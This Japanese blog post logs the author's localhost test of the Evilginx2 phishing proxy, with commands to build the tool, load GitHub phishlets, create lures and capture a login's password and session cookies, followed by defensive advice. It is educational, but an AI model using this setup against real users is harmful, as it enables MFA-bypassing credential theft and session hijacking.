Evilginx2を使ってみる


:::note alert
こちらの記事は、自身の検証のために行った証跡を残したものです。
この内容を悪用することは絶対にしないでください。
:::

## Evilginxとは何か
フィッシングのためのツールです。
最近、MFAをバイパスして認証情報を取得できるツールとして下記などで取り上げられています。
https://cloud.google.com/blog/topics/threat-intelligence/session-stealing-browser-in-the-middle?hl=en
>最も一般的なツールはEvilginx2です。これは、レッドチームのオペレーターのサーバーが被害者とターゲット サービス間の仲介役として機能する透過プロキシです。被害者が行ったすべての HTTP リクエストはフィッシング サーバーによってキャプチャされ、目的の Web サイトに直接転送されます。ただし、被害者に応答を返す前に、サーバーは正当なドメインへの参照をフィッシング ドメインに置き換えることで、応答を微妙に変更します。この操作により、オペレーターは POST リクエストから被害者のログイン資格情報を取得するだけでなく、被害者が認証と MFA プロンプトを完了した後、サーバーの応答ヘッダーからセッション Cookie (トークン) を抽出することもできます。

実際に手元の環境で環境構築をしたので、その内容を記しておきます。


## 環境

Rocky Linux 9.5です。
``` bash
uname -r
    # 5.14.0-503.14.1.el9_5.x86_64
```

## インストール・事前準備
### Goのインストール
```bash
yum install golang
#インストール確認
go version
    # go version go1.22.9 (Red Hat 1.22.9-2.el9_5) linux/amd64
```
### Evilginx利用準備
```bash
pwd 
    #/root/evilginx
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
```
### Phishletsのクローン
ここで取得するPhishletsに、もろもろの定義が書かれています。
こちらを使って、リクエストを本物のサイトに転送したり、入力値を取得したりするようです。
```bin
cd /root/evilginx
git clone https://github.com/ArchonLabs/evilginx2-phishlets.git
```

## 動かしてみる
build内に「evilginx」があるので、これをphishletsのディレクトリを指定してたたきます。
--developerで、自己署名証明書を作って適用してくれるようです。
```bin
cd evilginx2/build/
./evilginx -p /root/evilginx/evilginx2-phishlets/phishlets/ --developer
```

起動したらNW周りの設定をします。
今回はEvilginxサーバ自身からアクセスするのでこの設定ですが、ほかサーバからアクセスする際は、ipv4にはサーバのIPアドレスを設定してください。
```evilginx
config domain test-evilginx.com
config ipv4 external 127.0.0.1
```

```bash
phishlets hostname github github.test-evilginx.com
phishlets enable github
phishlets get-hosts github
    #127.0.0.1 github.test-evilginx.com
    #127.0.0.1 api.github.test-evilginx.com
    #127.0.0.1 github.github.test-evilginx.com
```
取得したものをhostsに書きます。
```bash
vim /etc/hosts
```

ブラックリスト(フィッシングに引っ掛けない相手リスト)に自分自身が登録されていないことを確認します。
ここに登録されているとアクセスしたときに謎のYouTubeに飛ばされます・・・
```bash
cd /root/.evilginx/
cat blacklist.txt
```

ルアーを作成し、Webサイトを立ち上げます。
```bash
lures create github
lures get-url 0
```
表示されたURLにアクセスします。
自己署名証明書なので警告が出ますが、無視します。
(これが本当に悪意あるサイトである場合は、攻撃者はドメインを取得しているので、DVの証明書を取得して設定できるため、警告は出ないと思われます)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3759447/1adb5efd-f5b1-4d4a-a364-2480461a2b0d.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3759447/4a975da4-5ad1-48b9-a759-27122916aecf.png)

表示が壊れてますが、ほかのphishletsであれば正常に表示できるのが多いみたいです。
(例 : TikTok。TikTokにログインしたことないですが・・・たぶんあってるんでしょう)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3759447/d260ab1f-24d6-4808-ac56-495838a52f83.png)
(おそらく、github.comではなくgithubassets.comに取りに行くところでエラーになって表示が壊れているっぽい。CORSかな？)

ログインしてみると、Evilginxコンソールにユーザ名/パスワードが表示されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3759447/a70cfe09-09bf-4cb0-83cf-a3a284cfbcd0.png)

さらにCookie情報を取得しに行きます。
```bash
sessions
# +-----+-----------+-------------+---------------+-----------+------------+-------------------+
# | id  | phishlet  |  username   |   password    |  tokens   | remote ip  |       time        |
# +-----+-----------+-------------+---------------+-----------+------------+-------------------+
# | 1   | github    | user-name   | password      | captured  | 127.0.0.1  | 2025-03-29 23:38  |
# +-----+-----------+-------------+---------------+-----------+------------+-------------------+

sessions 1
```

いっぱいCookie関連の情報が取れました。(下のほうは切ってます)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3759447/3e183e1c-a439-4c25-aad0-bad795b5b045.png)

## やってみて
簡単にこういうのが立ち上げられるのは怖いですね。
MFAを強制していても、セッションをハイジャックしてMFAを攻撃者のデバイスに変えることも可能になると思います。
なので、IP制限をかけるとか、クライアント証明書がないと情報が取得できないようにするが必要になるのかなあと思われます。
ユーザ側としては、ログイン時はちゃんとURLを確認しないといけないですね。

## 参考にしたリンク
https://tkyonezu.com/os-linux-windows/almalinux/almalinux-%E7%AC%AC25%E5%9B%9E-rocky-linux-%E7%AC%AC12%E5%9B%9E%E3%80%8Cgo%E8%A8%80%E8%AA%9E%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E3%80%8D/
https://armoris.hatenablog.com/entry/2024/01/23/175959
https://note.com/tkusa/n/nd070a22dcf17